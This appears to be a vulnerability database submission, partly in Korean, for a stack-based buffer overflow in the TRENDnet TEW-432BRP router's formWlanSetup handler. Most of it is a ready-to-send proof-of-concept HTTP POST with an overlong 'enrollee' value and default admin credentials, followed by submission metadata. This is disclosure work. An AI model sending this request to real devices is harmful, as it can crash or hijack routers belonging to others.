제출 #814777: TRENDnet TEW-432BRP 3.10B20 Stack-based Buffer Overflow

In formWlanSetup function, enrollee is directly passed by the attacker, If this part of the data is too long, it will cause the stack overflow, so we can control the enrollee to execute arbitrary code.

POST /goform/formWlanSetup HTTP/1.1
Host: 192.168.10.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 847
Origin: http://192.168.10.1
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Referer: http://192.168.10.1/lan.asp
Upgrade-Insecure-Requests: 1

setPIN=Start+PIN&enrollee=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&webpage=wlan_wps.asp

• 원천: ⚠️ https://github.com/wudipjq/my_vuln/blob/main/TRENDnet/vuln_20/20.md
• 사용자: pjq_Buoy (UID 97666)
• 제출: 2026. 04. 28. AM 09:16 (1 월 ago)
• 모더레이션: 2026. 05. 30. PM 06:28 (1 month later)
• 상태: 수락
• VulDB 항목: 367464 [TRENDnet TEW-432BRP 3.10B20 /goform/formWlanSetup enrollee 메모리 손상]
• 포인트들: 20